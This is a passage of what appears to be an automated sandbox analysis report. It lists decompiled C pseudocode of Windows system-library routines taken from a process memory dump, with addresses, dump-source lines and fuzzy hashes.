                                      								_t76 = E03692AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102);
                                      								 *((intOrPtr*)(_t103 - 0x1c)) = _t76;
                                      								__eflags = _t76 - 0xc0000100;
                                      								if(_t76 == 0xc0000100) {
                                      									 *((intOrPtr*)(_t103 - 0x1c)) = E03692C50( *((intOrPtr*)(_t103 - 0x20)),  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)), _t102, 1);
                                      								}
                                      								 *((intOrPtr*)(_t103 - 4)) = _t99;
                                      								E03692ACB();
                                      							}
                                      						}
                                      					}
                                      					L12:
                                      					 *((intOrPtr*)(_t103 - 4)) = 0xfffffffe;
                                      					_t62 = _t102;
                                      				}
                                      				L13:
                                      				return E036BD0D1(_t62);
                                      				goto L28;
                                      			}





















                                      0x03692990
                                      0x03692992
                                      0x03692997
                                      0x036929a3
                                      0x036929a6
                                      0x036929ab
                                      0x036929ad
                                      0x036929b2
                                      0x036d5c80
                                      0x036929b8
                                      0x036929b8
                                      0x036929bb
                                      0x036929c0
                                      0x036929c5
                                      0x036929c6
                                      0x036929c6
                                      0x036929cb
                                      0x00000000
                                      0x00000000
                                      0x036929cd
                                      0x036929d0
                                      0x036929d9
                                      0x036929db
                                      0x036929dd
                                      0x03692a7f
                                      0x03692a84
                                      0x03692a87
                                      0x03692a89
                                      0x036d5ca1
                                      0x036d5ca3
                                      0x00000000
                                      0x03692a8f
                                      0x03692a8f
                                      0x00000000
                                      0x03692a8f
                                      0x00000000
                                      0x036929e3
                                      0x036929e3
                                      0x036929e3
                                      0x00000000
                                      0x036929e3
                                      0x036929dd
                                      0x00000000
                                      0x036929db
                                      0x036929e6
                                      0x036929e9
                                      0x036929eb
                                      0x036929ed
                                      0x036929f3
                                      0x036929f5
                                      0x036929f8
                                      0x036929fa
                                      0x03692a97
                                      0x03692a9a
                                      0x03692a9d
                                      0x03692add
                                      0x00000000
                                      0x03692a9f
                                      0x03692aa2
                                      0x03692aa5
                                      0x03692aa8
                                      0x03692aab
                                      0x036d5cab
                                      0x036d5caf
                                      0x036d5cc5
                                      0x036d5cda
                                      0x036d5cdc
                                      0x036d5cdf
                                      0x036d5ce5
                                      0x00000000
                                      0x036d5ceb
                                      0x036d5ced
                                      0x036d5cee
                                      0x00000000
                                      0x036d5cee
                                      0x036d5cb1
                                      0x036d5cb4
                                      0x036d5cb9
                                      0x036d5cbb
                                      0x00000000
                                      0x036d5cbd
                                      0x036d5cbd
                                      0x00000000
                                      0x036d5cbd
                                      0x036d5cbb
                                      0x03692ab1
                                      0x03692ab1
                                      0x03692ac4
                                      0x03692ac6
                                      0x03692ac6
                                      0x00000000
                                      0x03692ac6
                                      0x03692aab
                                      0x00000000
                                      0x03692a00
                                      0x03692a09
                                      0x03692a0e
                                      0x03692a21
                                      0x03692a24
                                      0x03692a35
                                      0x03692a3a
                                      0x03692a3d
                                      0x03692a42
                                      0x03692a59
                                      0x03692a59
                                      0x03692a5c
                                      0x03692a5f
                                      0x03692a5f
                                      0x036929fa
                                      0x036929f3
                                      0x03692a64
                                      0x03692a64
                                      0x03692a6b
                                      0x03692a6b
                                      0x03692a6d
                                      0x03692a72
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: b4d2b9dd20182cebdcaff96aea32bce9111bd46b5091048bc0d7c8343ab6bc0d
                                      • Instruction ID: 0fc779f6ef452166db26625beefc82ff17970c8d70af2764260856bc60b48a55
                                      • Opcode Fuzzy Hash: b4d2b9dd20182cebdcaff96aea32bce9111bd46b5091048bc0d7c8343ab6bc0d
                                      • Instruction Fuzzy Hash: 7C516A7690020DEFEF25DF55C990AEEBBB9BF49310F04845AE915AB320C3759992CF90
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 85%
                                      			E03694BAD(intOrPtr __ecx, short __edx, signed char _a4, signed short _a8) {
                                      				signed int _v8;
                                      				short _v20;
                                      				intOrPtr _v24;
                                      				intOrPtr _v28;
                                      				intOrPtr _v32;
                                      				char _v36;
                                      				char _v156;
                                      				short _v158;
                                      				intOrPtr _v160;
                                      				char _v164;
                                      				intOrPtr _v168;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed int _t45;
                                      				intOrPtr _t74;
                                      				signed char _t77;
                                      				intOrPtr _t84;
                                      				char* _t85;
                                      				void* _t86;
                                      				intOrPtr _t87;
                                      				signed short _t88;
                                      				signed int _t89;
                                      
                                      				_t83 = __edx;
                                      				_v8 =  *0x375d360 ^ _t89;
                                      				_t45 = _a8 & 0x0000ffff;
                                      				_v158 = __edx;
                                      				_v168 = __ecx;
                                      				if(_t45 == 0) {
                                      					L22:
                                      					_t86 = 6;
                                      					L12:
                                      					E0366CC50(_t86);
                                      					L11:
                                      					return E036AB640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
                                      				}
                                      				_t77 = _a4;
                                      				if((_t77 & 0x00000001) != 0) {
                                      					goto L22;
                                      				}
                                      				_t8 = _t77 + 0x34; // 0xdce0ba00
                                      				if(_t45 !=  *_t8) {
                                      					goto L22;
                                      				}
                                      				_t9 = _t77 + 0x24; // 0x3758504
                                      				E03682280(_t9, _t9);
                                      				_t87 = 0x78;
                                      				 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
                                      				E036AFA60( &_v156, 0, _t87);
                                      				_t13 = _t77 + 0x30; // 0x3db8
                                      				_t85 =  &_v156;
                                      				_v36 =  *_t13;
                                      				_v28 = _v168;
                                      				_v32 = 0;
                                      				_v24 = 0;
                                      				_v20 = _v158;
                                      				_v160 = 0;
                                      				while(1) {
                                      					_push( &_v164);
                                      					_push(_t87);
                                      					_push(_t85);
                                      					_push(0x18);
                                      					_push( &_v36);
                                      					_push(0x1e);
                                      					_t88 = E036AB0B0();
                                      					if(_t88 != 0xc0000023) {
                                      						break;
                                      					}
                                      					if(_t85 !=  &_v156) {
                                      						L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t85);
                                      					}
                                      					_t84 = L03684620(0,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v164);
                                      					_v168 = _v164;
                                      					if(_t84 == 0) {
                                      						_t88 = 0xc0000017;
                                      						goto L19;
                                      					} else {
                                      						_t74 = _v160 + 1;
                                      						_v160 = _t74;
                                      						if(_t74 >= 0x10) {
                                      							L19:
                                      							_t86 = E0366CCC0(_t88);
                                      							if(_t86 != 0) {
                                      								L8:
                                      								 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
                                      								_t30 = _t77 + 0x24; // 0x3758504
                                      								E0367FFB0(_t77, _t84, _t30);
                                      								if(_t84 != 0 && _t84 !=  &_v156) {
                                      									L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t84);
                                      								}
                                      								if(_t86 != 0) {
                                      									goto L12;
                                      								} else {
                                      									goto L11;
                                      								}
                                      							}
                                      							L6:
                                      							 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
                                      							if(_v164 != 0) {
                                      								_t83 = _t84;
                                      								E03694F49(_t77, _t84);
                                      							}
                                      							goto L8;
                                      						}
                                      						_t87 = _v168;
                                      						continue;
                                      					}
                                      				}
                                      				if(_t88 != 0) {
                                      					goto L19;
                                      				}
                                      				goto L6;
                                      			}


























                                      0x03694bad
                                      0x03694bbf
                                      0x03694bc2
                                      0x03694bc6
                                      0x03694bcd
                                      0x03694bd9
                                      0x036d67fe
                                      0x036d6800
                                      0x03694ccc
                                      0x03694ccd
                                      0x03694cb7
                                      0x03694cc9
                                      0x03694cc9
                                      0x03694bdf
                                      0x03694be5
                                      0x00000000
                                      0x00000000
                                      0x03694beb
                                      0x03694bef
                                      0x00000000
                                      0x00000000
                                      0x03694bf5
                                      0x03694bf9
                                      0x03694c06
                                      0x03694c0b
                                      0x03694c17
                                      0x03694c1c
                                      0x03694c1f
                                      0x03694c25
                                      0x03694c33
                                      0x03694c3d
                                      0x03694c40
                                      0x03694c43
                                      0x03694c47
                                      0x03694c4d
                                      0x03694c53
                                      0x03694c54
                                      0x03694c55
                                      0x03694c56
                                      0x03694c5b
                                      0x03694c5c
                                      0x03694c63
                                      0x03694c6b
                                      0x00000000
                                      0x00000000
                                      0x036d6776
                                      0x036d6784
                                      0x036d6784
                                      0x036d679f
                                      0x036d67a7
                                      0x036d67af
                                      0x036d67ce
                                      0x00000000
                                      0x036d67b1
                                      0x036d67b7
                                      0x036d67b8
                                      0x036d67c1
                                      0x036d67d3
                                      0x036d67d9
                                      0x036d67dd
                                      0x03694c94
                                      0x03694c94
                                      0x03694c98
                                      0x03694c9c
                                      0x03694ca3
                                      0x036d67f4
                                      0x036d67f4
                                      0x03694cb5
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x03694cb5
                                      0x03694c79
                                      0x03694c7e
                                      0x03694c89
                                      0x03694c8b
                                      0x03694c8f
                                      0x03694c8f
                                      0x00000000
                                      0x03694c89
                                      0x036d67c3
                                      0x00000000
                                      0x036d67c3
                                      0x036d67af
                                      0x03694c73
                                      0x00000000
                                      0x00000000
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 949f15d7750dadac77257c233c102daeed325a6f298e123ce59d69daf116de19
                                      • Instruction ID: b1c82a45e9de1946fa2cec3872b7acfd802723f398c6d043b4a246d4b5246a4f
                                      • Opcode Fuzzy Hash: 949f15d7750dadac77257c233c102daeed325a6f298e123ce59d69daf116de19
                                      • Instruction Fuzzy Hash: F741A435E00628DFDF21DF69C944BEAB7B8AF45740F4504AAE908AB340DB749E81CF94
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 78%
                                      			E03694D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
                                      				signed int _v12;
                                      				char _v176;
                                      				char _v177;
                                      				char _v184;
                                      				intOrPtr _v192;
                                      				intOrPtr _v196;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed short _t42;
                                      				char* _t44;
                                      				intOrPtr _t46;
                                      				intOrPtr _t50;
                                      				char* _t57;
                                      				intOrPtr _t59;
                                      				intOrPtr _t67;
                                      				signed int _t69;
                                      
                                      				_t64 = __edx;
                                      				_v12 =  *0x375d360 ^ _t69;
                                      				_t65 = 0xa0;
                                      				_v196 = __edx;
                                      				_v177 = 0;
                                      				_t67 = __ecx;
                                      				_v192 = __ecx;
                                      				E036AFA60( &_v176, 0, 0xa0);
                                      				_t57 =  &_v176;
                                      				_t59 = 0xa0;
                                      				if( *0x3757bc8 != 0) {
                                      					L3:
                                      					while(1) {
                                      						asm("movsd");
                                      						asm("movsd");
                                      						asm("movsd");
                                      						asm("movsd");
                                      						_t67 = _v192;
                                      						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
                                      						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
                                      						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
                                      						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
                                      						_push( &_v184);
                                      						_push(_t59);
                                      						_push(_t57);
                                      						_push(0xa0);
                                      						_push(_t57);
                                      						_push(0xf);
                                      						_t42 = E036AB0B0();
                                      						if(_t42 != 0xc0000023) {
                                      							break;
                                      						}
                                      						if(_v177 != 0) {
                                      							L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
                                      						}
                                      						_v177 = 1;
                                      						_t44 = L03684620(_t59,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v184);
                                      						_t59 = _v184;
                                      						_t57 = _t44;
                                      						if(_t57 != 0) {
                                      							continue;
                                      						} else {
                                      							_t42 = 0xc0000017;
                                      							break;
                                      						}
                                      					}
                                      					if(_t42 != 0) {
                                      						_t65 = E0366CCC0(_t42);
                                      						if(_t65 != 0) {
                                      							L10:
                                      							if(_v177 != 0) {
                                      								if(_t57 != 0) {
                                      									L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t57);
                                      								}
                                      							}
                                      							_t46 = _t65;
                                      							L12:
                                      							return E036AB640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
                                      						}
                                      						L7:
                                      						_t50 = _a4;
                                      						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
                                      						if(_t50 != 3) {
                                      							if(_t50 == 2) {
                                      								goto L8;
                                      							}
                                      							L9:
                                      							if(E036AF380(_t67 + 0xc, 0x3645138, 0x10) == 0) {
                                      								 *0x37560d8 = _t67;
                                      							}
                                      							goto L10;
                                      						}
                                      						L8:
                                      						_t64 = _t57 + 0x28;
                                      						E03694F49(_t67, _t57 + 0x28);
                                      						goto L9;
                                      					}
                                      					_t65 = 0;
                                      					goto L7;
                                      				}
                                      				if(E03694E70(0x37586b0, 0x3695690, 0, 0) != 0) {
                                      					_t46 = E0366CCC0(_t56);
                                      					goto L12;
                                      				} else {
                                      					_t59 = 0xa0;
                                      					goto L3;
                                      				}
                                      			}




















                                      0x03694d3b
                                      0x03694d4d
                                      0x03694d53
                                      0x03694d58
                                      0x03694d65
                                      0x03694d6c
                                      0x03694d71
                                      0x03694d77
                                      0x03694d7f
                                      0x03694d8c
                                      0x03694d8e
                                      0x03694dad
                                      0x03694db0
                                      0x03694db7
                                      0x03694db8
                                      0x03694db9
                                      0x03694dba
                                      0x03694dbb
                                      0x03694dc1
                                      0x03694dc8
                                      0x03694dcc
                                      0x03694dd5
                                      0x03694dde
                                      0x03694ddf
                                      0x03694de0
                                      0x03694de1
                                      0x03694de6
                                      0x03694de7
                                      0x03694de9
                                      0x03694df3
                                      0x00000000
                                      0x00000000
                                      0x036d6c7c
                                      0x036d6c8a
                                      0x036d6c8a
                                      0x036d6c9d
                                      0x036d6ca7
                                      0x036d6cac
                                      0x036d6cb2
                                      0x036d6cb9
                                      0x00000000
                                      0x036d6cbf
                                      0x036d6cbf
                                      0x00000000
                                      0x036d6cbf
                                      0x036d6cb9
                                      0x03694dfb
                                      0x036d6ccf
                                      0x036d6cd3
                                      0x03694e32
                                      0x03694e39
                                      0x036d6ce0
                                      0x036d6cf2
                                      0x036d6cf2
                                      0x036d6ce0
                                      0x03694e3f
                                      0x03694e41
                                      0x03694e51
                                      0x03694e51
                                      0x03694e03
                                      0x03694e03
                                      0x03694e09
                                      0x03694e0f
                                      0x03694e57
                                      0x00000000
                                      0x00000000
                                      0x03694e1b
                                      0x03694e30
                                      0x03694e5b
                                      0x03694e5b
                                      0x00000000
                                      0x03694e30
                                      0x03694e11
                                      0x03694e11
                                      0x03694e16
                                      0x00000000
                                      0x03694e16
                                      0x03694e01
                                      0x00000000
                                      0x03694e01
                                      0x03694da5
                                      0x036d6c6b
                                      0x00000000
                                      0x03694dab
                                      0x03694dab
                                      0x00000000
                                      0x03694dab

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: c0647c6614158ee11f2efc63261d97b1f9dc57a8e68695fa80ce628ad0702c8b
                                      • Instruction ID: e90f70e2235baafb9a0d95d4a1f1362ee526a06d5f76c699618f3809545c3790
                                      • Opcode Fuzzy Hash: c0647c6614158ee11f2efc63261d97b1f9dc57a8e68695fa80ce628ad0702c8b
                                      • Instruction Fuzzy Hash: 24410075A40318AFEF22DF15CD80FAAB7ADEB05610F0440AAE9459B380DBB0DD45CB91
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 94%
                                      			E03678A0A(intOrPtr* __ecx, signed int __edx) {
                                      				signed int _v8;
                                      				char _v524;
                                      				signed int _v528;
                                      				void* _v532;
                                      				char _v536;
                                      				char _v540;
                                      				char _v544;
                                      				intOrPtr* _v548;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				signed int _t44;
                                      				void* _t46;
                                      				void* _t48;
                                      				signed int _t53;
                                      				signed int _t55;
                                      				intOrPtr* _t62;
                                      				void* _t63;
                                      				unsigned int _t75;
                                      				signed int _t79;
                                      				unsigned int _t81;
                                      				unsigned int _t83;
                                      				signed int _t84;
                                      				void* _t87;
                                      
                                      				_t76 = __edx;
                                      				_v8 =  *0x375d360 ^ _t84;
                                      				_v536 = 0x200;
                                      				_t79 = 0;
                                      				_v548 = __edx;
                                      				_v544 = 0;
                                      				_t62 = __ecx;
                                      				_v540 = 0;
                                      				_v532 =  &_v524;
                                      				if(__edx == 0 || __ecx == 0) {
                                      					L6:
                                      					return E036AB640(_t79, _t62, _v8 ^ _t84, _t76, _t79, _t81);
                                      				} else {
                                      					_v528 = 0;
                                      					E0367E9C0(1, __ecx, 0, 0,  &_v528);
                                      					_t44 = _v528;
                                      					_t81 =  *(_t44 + 0x48) & 0x0000ffff;
                                      					_v528 =  *(_t44 + 0x4a) & 0x0000ffff;
                                      					_t46 = 0xa;
                                      					_t87 = _t81 - _t46;
                                      					if(_t87 > 0 || _t87 == 0) {
                                      						 *_v548 = 0x3641180;
                                      						L5:
                                      						_t79 = 1;
                                      						goto L6;
                                      					} else {
                                      						_t48 = E03691DB5(_t62,  &_v532,  &_v536);
                                      						_t76 = _v528;
                                      						if(_t48 == 0) {
                                      							L9:
                                      							E036A3C2A(_t81, _t76,  &_v544);
                                      							 *_v548 = _v544;
                                      							goto L5;
                                      						}
                                      						_t62 = _v532;
                                      						if(_t62 != 0) {
                                      							_t83 = (_t81 << 0x10) + (_t76 & 0x0000ffff);
                                      							_t53 =  *_t62;
                                      							_v528 = _t53;
                                      							if(_t53 != 0) {
                                      								_t63 = _t62 + 4;
                                      								_t55 = _v528;
                                      								do {
                                      									if( *((intOrPtr*)(_t63 + 0x10)) == 1) {
                                      										if(E03678999(_t63,  &_v540) == 0) {
                                      											_t55 = _v528;
                                      										} else {
                                      											_t75 = (( *(_v540 + 0x14) & 0x0000ffff) << 0x10) + ( *(_v540 + 0x16) & 0x0000ffff);
                                      											_t55 = _v528;
                                      											if(_t75 >= _t83) {
                                      												_t83 = _t75;
                                      											}
                                      										}
                                      									}
                                      									_t63 = _t63 + 0x14;
                                      									_t55 = _t55 - 1;
                                      									_v528 = _t55;
                                      								} while (_t55 != 0);
                                      								_t62 = _v532;
                                      							}
                                      							if(_t62 !=  &_v524) {
                                      								L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t79, _t62);
                                      							}
                                      							_t76 = _t83 & 0x0000ffff;
                                      							_t81 = _t83 >> 0x10;
                                      						}
                                      						goto L9;
                                      					}
                                      				}
                                      			}



























                                      0x03678a0a
                                      0x03678a1c
                                      0x03678a23
                                      0x03678a2e
                                      0x03678a30
                                      0x03678a36
                                      0x03678a3c
                                      0x03678a3e
                                      0x03678a4a
                                      0x03678a52
                                      0x03678a9c
                                      0x03678aae
                                      0x03678a58
                                      0x03678a5e
                                      0x03678a6a
                                      0x03678a6f
                                      0x03678a75
                                      0x03678a7d
                                      0x03678a85
                                      0x03678a86
                                      0x03678a89
                                      0x03678a93
                                      0x03678a99
                                      0x03678a9b
                                      0x00000000
                                      0x03678aaf
                                      0x03678abe
                                      0x03678ac3
                                      0x03678acb
                                      0x03678ad7
                                      0x03678ae0
                                      0x03678af1
                                      0x00000000
                                      0x03678af1
                                      0x03678acd
                                      0x03678ad5
                                      0x03678afb
                                      0x03678afd
                                      0x03678aff
                                      0x03678b07
                                      0x03678b22
                                      0x03678b24
                                      0x03678b2a
                                      0x03678b2e
                                      0x03678b3f
                                      0x03678b78
                                      0x03678b41
                                      0x03678b52
                                      0x03678b54
                                      0x03678b5c
                                      0x03678b74
                                      0x03678b74
                                      0x03678b5c
                                      0x03678b3f
                                      0x03678b5e
                                      0x03678b61
                                      0x03678b64
                                      0x03678b64
                                      0x03678b6c
                                      0x03678b6c
                                      0x03678b11
                                      0x036c9cd5
                                      0x036c9cd5
                                      0x03678b17
                                      0x03678b1a
                                      0x03678b1a
                                      0x00000000
                                      0x03678ad5
                                      0x03678a89

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 1a553879911de93f36fd9dd8ba55a46d3259b5a26c6514003bad36c95ab8e8b9
                                      • Instruction ID: 0be401c10c292ad4a2e0c19fdb8922472f10b9ce706bfa3af7f5170ed0568340
                                      • Opcode Fuzzy Hash: 1a553879911de93f36fd9dd8ba55a46d3259b5a26c6514003bad36c95ab8e8b9
                                      • Instruction Fuzzy Hash: 4C418FB4A0032C9BDB24DF59CD8DAAAB3F8EB44700F5441EAD81997341E7709E80CF60
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 69%
                                      			E036E69A6(signed short* __ecx, void* __eflags) {
                                      				signed int _v8;
                                      				signed int _v16;
                                      				intOrPtr _v20;
                                      				signed int _v24;
                                      				signed short _v28;
                                      				signed int _v32;
                                      				intOrPtr _v36;
                                      				signed int _v40;
                                      				char* _v44;
                                      				signed int _v48;
                                      				intOrPtr _v52;
                                      				signed int _v56;
                                      				char _v60;
                                      				signed int _v64;
                                      				char _v68;
                                      				char _v72;
                                      				signed short* _v76;
                                      				signed int _v80;
                                      				char _v84;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				void* _t68;
                                      				intOrPtr _t73;
                                      				signed short* _t74;
                                      				void* _t77;
                                      				void* _t78;
                                      				signed int _t79;
                                      				signed int _t80;
                                      
                                      				_v8 =  *0x375d360 ^ _t80;
                                      				_t75 = 0x100;
                                      				_v64 = _v64 & 0x00000000;
                                      				_v76 = __ecx;
                                      				_t79 = 0;
                                      				_t68 = 0;
                                      				_v72 = 1;
                                      				_v68 =  *((intOrPtr*)( *[fs:0x18] + 0x20));
                                      				_t77 = 0;
                                      				if(L03676C59(__ecx[2], 0x100, __eflags) != 0) {
                                      					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x1e8));
                                      					if(_t79 != 0 && E036E6BA3() != 0) {
                                      						_push(0);
                                      						_push(0);
                                      						_push(0);
                                      						_push(0x1f0003);
                                      						_push( &_v64);
                                      						if(E036A9980() >= 0) {
                                      							E03682280(_t56, 0x3758778);
                                      							_t77 = 1;
                                      							_t68 = 1;
                                      							if( *0x3758774 == 0) {
                                      								asm("cdq");
                                      								 *(_t79 + 0xf70) = _v64;
                                      								 *(_t79 + 0xf74) = 0x100;
                                      								_t75 = 0;
                                      								_t73 = 4;
                                      								_v60 =  &_v68;
                                      								_v52 = _t73;
                                      								_v36 = _t73;
                                      								_t74 = _v76;
                                      								_v44 =  &_v72;
                                      								 *0x3758774 = 1;
                                      								_v56 = 0;
                                      								_v28 = _t74[2];
                                      								_v48 = 0;
                                      								_v20 = ( *_t74 & 0x0000ffff) + 2;
                                      								_v40 = 0;
                                      								_v32 = 0;
                                      								_v24 = 0;
                                      								_v16 = 0;
                                      								if(E0366B6F0(0x364c338, 0x364c288, 3,  &_v60) == 0) {
                                      									_v80 = _v80 | 0xffffffff;
                                      									_push( &_v84);
                                      									_push(0);
                                      									_push(_v64);
                                      									_v84 = 0xfa0a1f00;
                                      									E036A9520();
                                      								}
                                      							}
                                      						}
                                      					}
                                      				}
                                      				if(_v64 != 0) {
                                      					_push(_v64);
                                      					E036A95D0();
                                      					 *(_t79 + 0xf70) =  *(_t79 + 0xf70) & 0x00000000;
                                      					 *(_t79 + 0xf74) =  *(_t79 + 0xf74) & 0x00000000;
                                      				}
                                      				if(_t77 != 0) {
                                      					E0367FFB0(_t68, _t77, 0x3758778);
                                      				}
                                      				_pop(_t78);
                                      				return E036AB640(_t68, _t68, _v8 ^ _t80, _t75, _t78, _t79);
                                      			}
































                                      0x036e69b5
                                      0x036e69be
                                      0x036e69c3
                                      0x036e69c9
                                      0x036e69cc
                                      0x036e69d1
                                      0x036e69d3
                                      0x036e69de
                                      0x036e69e1
                                      0x036e69ea
                                      0x036e69f6
                                      0x036e69fe
                                      0x036e6a13
                                      0x036e6a14
                                      0x036e6a15
                                      0x036e6a16
                                      0x036e6a1e
                                      0x036e6a26
                                      0x036e6a31
                                      0x036e6a36
                                      0x036e6a37
                                      0x036e6a40
                                      0x036e6a49
                                      0x036e6a4a
                                      0x036e6a53
                                      0x036e6a59
                                      0x036e6a5d
                                      0x036e6a5e
                                      0x036e6a64
                                      0x036e6a67
                                      0x036e6a6a
                                      0x036e6a6d
                                      0x036e6a70
                                      0x036e6a77
                                      0x036e6a7d
                                      0x036e6a86
                                      0x036e6a89
                                      0x036e6a9c
                                      0x036e6a9f
                                      0x036e6aa2
                                      0x036e6aa5
                                      0x036e6aaf
                                      0x036e6ab1
                                      0x036e6ab8
                                      0x036e6ab9
                                      0x036e6abb
                                      0x036e6abe
                                      0x036e6ac5
                                      0x036e6ac5
                                      0x036e6aaf
                                      0x036e6a40
                                      0x036e6a26
                                      0x036e69fe
                                      0x036e6ace
                                      0x036e6ad0
                                      0x036e6ad3
                                      0x036e6ad8
                                      0x036e6adf
                                      0x036e6adf
                                      0x036e6ae8
                                      0x036e6aef
                                      0x036e6aef
                                      0x036e6af9
                                      0x036e6b06

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 5fe8bb6feffa35134cbbb86bb2383c51b7e8ca5a067a1a414c63d0407b114110
                                      • Instruction ID: 5c44d2491dfc73e6537d153fb13980b26e04d669610946f38490f6ba4bb5d2dc
                                      • Opcode Fuzzy Hash: 5fe8bb6feffa35134cbbb86bb2383c51b7e8ca5a067a1a414c63d0407b114110
                                      • Instruction Fuzzy Hash: DF417FB1E01308AFDB14DFA9C940BEEBBF4EF48714F14852DE815AB250DB749905CB55
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 78%
                                      			E0369A61C(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
                                      				intOrPtr _t35;
                                      				intOrPtr _t39;
                                      				intOrPtr _t45;
                                      				intOrPtr* _t51;
                                      				intOrPtr* _t52;
                                      				intOrPtr* _t55;
                                      				signed int _t57;
                                      				intOrPtr* _t59;
                                      				intOrPtr _t68;
                                      				intOrPtr* _t77;
                                      				void* _t79;
                                      				signed int _t80;
                                      				intOrPtr _t81;
                                      				char* _t82;
                                      				void* _t83;
                                      
                                      				_push(0x24);
                                      				_push(0x3740220);
                                      				E036BD08C(__ebx, __edi, __esi);
                                      				 *((intOrPtr*)(_t83 - 0x30)) = __edx;
                                      				_t79 = __ecx;
                                      				_t35 =  *0x3757b9c; // 0x0
                                      				_t55 = L03684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t35 + 0xc0000, 0x28);
                                      				 *((intOrPtr*)(_t83 - 0x24)) = _t55;
                                      				if(_t55 == 0) {
                                      					_t39 = 0xc0000017;
                                      					L11:
                                      					return E036BD0D1(_t39);
                                      				}
                                      				_t68 = 0;
                                      				 *((intOrPtr*)(_t83 - 0x1c)) = 0;
                                      				 *(_t83 - 4) =  *(_t83 - 4) & 0;
                                      				_t7 = _t55 + 8; // 0x8
                                      				_t57 = 6;
                                      				memcpy(_t7, _t79, _t57 << 2);
                                      				_t80 = 0xfffffffe;
                                      				 *(_t83 - 4) = _t80;
                                      				if(0 < 0) {
                                      					L14:
                                      					_t81 =  *((intOrPtr*)(_t83 - 0x1c));
                                      					L20:
                                      					L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t55);
                                      					_t39 = _t81;
                                      					goto L11;
                                      				}
                                      				if( *((intOrPtr*)(_t55 + 0xc)) <  *(_t55 + 8)) {
                                      					_t81 = 0xc000007b;
                                      					goto L20;
                                      				}
                                      				if( *((intOrPtr*)(_t83 + 0xc)) == 0) {
                                      					_t59 =  *((intOrPtr*)(_t83 + 8));
                                      					_t45 =  *_t59;
                                      					 *((intOrPtr*)(_t83 - 0x20)) = _t45;
                                      					 *_t59 = _t45 + 1;
                                      					L6:
                                      					 *(_t83 - 4) = 1;
